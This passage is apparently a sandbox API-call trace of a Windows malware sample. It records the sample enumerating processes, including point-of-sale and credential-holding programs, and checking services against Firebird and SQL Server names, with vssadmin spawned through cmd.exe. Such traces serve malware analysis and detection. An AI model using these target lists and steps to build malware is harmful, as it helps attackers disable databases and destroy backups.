th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0051.731] lstrlenW (lpString="skype.exe") returned 9 [0051.731] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0051.732] lstrlenW (lpString="smartftp.exe") returned 12 [0051.732] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0051.732] lstrlenW (lpString="thunderbird.exe") returned 15 [0051.732] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0051.733] lstrlenW (lpString="totalcmd.exe") returned 12 [0051.733] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0051.734] lstrlenW (lpString="trillian.exe") returned 12 [0051.734] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0051.735] lstrlenW (lpString="webdrive.exe") returned 12 [0051.735] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0051.736] lstrlenW (lpString="whatsapp.exe") returned 12 [0051.736] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0051.736] lstrlenW (lpString="winscp.exe") returned 10 [0051.736] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0051.737] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0051.737] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0051.738] lstrlenW (lpString="active-charge.exe") returned 17 [0051.738] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0051.739] lstrlenW (lpString="accupos.exe") returned 11 [0051.739] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0051.739] lstrlenW (lpString="afr38.exe") returned 9 [0051.739] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0051.740] lstrlenW (lpString="aldelo.exe") returned 10 [0051.740] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0051.741] lstrlenW (lpString="ccv_server.exe") returned 14 [0051.741] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0051.955] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0051.955] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0051.956] lstrlenW (lpString="creditservice.exe") returned 17 [0051.956] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0051.957] lstrlenW (lpString="edcsvr.exe") returned 10 [0051.957] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0051.958] lstrlenW (lpString="fpos.exe") returned 8 [0051.958] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0051.958] lstrlenW (lpString="isspos.exe") returned 10 [0051.958] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0051.959] lstrlenW (lpString="mxslipstream.exe") returned 16 [0051.959] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0051.960] lstrlenW (lpString="omnipos.exe") returned 11 [0051.960] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0051.962] lstrlenW (lpString="spcwin.exe") returned 10 [0051.962] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0051.963] lstrlenW (lpString="spgagentservice.exe") returned 19 [0051.963] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0051.963] lstrlenW (lpString="utg2.exe") returned 8 [0051.963] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="burner.exe")) returned 1 [0051.964] lstrlenW (lpString="burner.exe") returned 10 [0051.964] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0051.965] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0051.965] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0051.965] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0051.965] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0051.966] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0051.966] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0051.967] lstrlenW (lpString="cmd.exe") returned 7 [0051.967] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0051.967] lstrlenW (lpString="conhost.exe") returned 11 [0051.967] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa60, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0051.968] lstrlenW (lpString="vssadmin.exe") returned 12 [0051.968] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0051.969] lstrlenW (lpString="VSSVC.exe") returned 9 [0051.969] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.969] lstrlenW (lpString="svchost.exe") returned 11 [0051.969] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0051.970] CloseHandle (hObject=0x188) returned 1 [0051.970] Sleep (dwMilliseconds=0x1f4) [0052.940] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x59ff00 [0052.941] EnumServicesStatusExW (in: hSCManager=0x59ff00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0) returned 0 [0052.941] GetLastError () returned 0xea [0052.941] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x142e) returned 0x3f90098 [0052.941] EnumServicesStatusExW (in: hSCManager=0x59ff00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f90098, cbBufSize=0x142e, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f90098, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0) returned 1 [0052.989] CloseServiceHandle (hSCObject=0x59ff00) returned 1 [0052.989] lstrlenW (lpString="Appinfo") returned 7 [0052.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0052.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0052.989] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0052.989] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0052.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0052.989] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0052.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0052.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0052.989] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0052.989] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0052.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0052.989] lstrlenW (lpString="AudioSrv") returned 8 [0052.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0052.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0052.989] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0052.990] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0052.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0052.990] lstrlenW (lpString="BFE") returned 3 [0052.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0052.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0052.990] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0052.990] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0052.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0052.990] lstrlenW (lpString="CryptSvc") returned 8 [0052.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0052.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0052.990] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0052.990] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0052.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0052.990] lstrlenW (lpString="CscService") returned 10 [0052.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0052.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0052.990] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0052.990] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0052.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0052.990] lstrlenW (lpString="DcomLaunch") returned 10 [0052.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0052.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0052.990] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0052.990] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0052.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0052.990] lstrlenW (lpString="Dhcp") returned 4 [0052.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0052.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0052.990] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0052.990] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0052.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0052.990] lstrlenW (lpString="Dnscache") returned 8 [0052.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0052.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0052.991] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0052.991] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0052.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0052.991] lstrlenW (lpString="DPS") returned 3 [0052.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0052.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0052.991] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0052.991] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0052.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0052.991] lstrlenW (lpString="eventlog") returned 8 [0052.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0052.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0052.991] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0052.991] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0052.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0052.991] lstrlenW (lpString="EventSystem") returned 11 [0052.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0052.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0052.991] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0052.991] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0052.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0052.991] lstrlenW (lpString="FontCache") returned 9 [0052.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0052.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0052.991] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0052.991] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0052.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0052.991] lstrlenW (lpString="gpsvc") returned 5 [0052.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0052.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0052.991] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0052.992] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0052.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0052.992] lstrlenW (lpString="iphlpsvc") returned 8 [0052.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0052.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0052.992] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0052.992] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0052.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0052.992] lstrlenW (lpString="LanmanServer") returned 12 [0052.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0052.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0052.992] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0052.992] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0052.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0052.992] lstrlenW (lpString="LanmanWorkstation") returned 17 [0052.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0052.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0052.992] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0052.992] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0052.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0052.992] lstrlenW (lpString="lmhosts") returned 7 [0052.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0052.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0052.992] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0052.992] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0052.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0052.992] lstrlenW (lpString="MMCSS") returned 5 [0052.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0052.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0052.992] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0052.992] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0052.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0052.992] lstrlenW (lpString="MpsSvc") returned 6 [0052.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0052.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0052.993] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0052.993] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0052.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0052.993] lstrlenW (lpString="Netman") returned 6 [0052.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0052.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0052.993] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0052.993] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0052.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0052.993] lstrlenW (lpString="netprofm") returned 8 [0052.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0052.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0052.993] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0052.993] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0052.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0052.993] lstrlenW (lpString="NlaSvc") returned 6 [0052.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0052.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0052.993] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0052.993] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0052.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0052.993] lstrlenW (lpString="nsi") returned 3 [0052.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0052.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0052.993] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0052.993] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0052.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0052.993] lstrlenW (lpString="PcaSvc") returned 6 [0052.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0052.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0052.993] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0052.993] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0052.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0052.994] lstrlenW (lpString="PlugPlay") returned 8 [0052.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0052.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0052.994] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0052.994] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0052.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0052.994] lstrlenW (lpString="Power") returned 5 [0052.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0052.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0052.994] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0052.994] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0052.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0052.994] lstrlenW (lpString="ProfSvc") returned 7 [0052.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0052.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0052.994] lstrcmpiW (lpString1="sqlwriter", 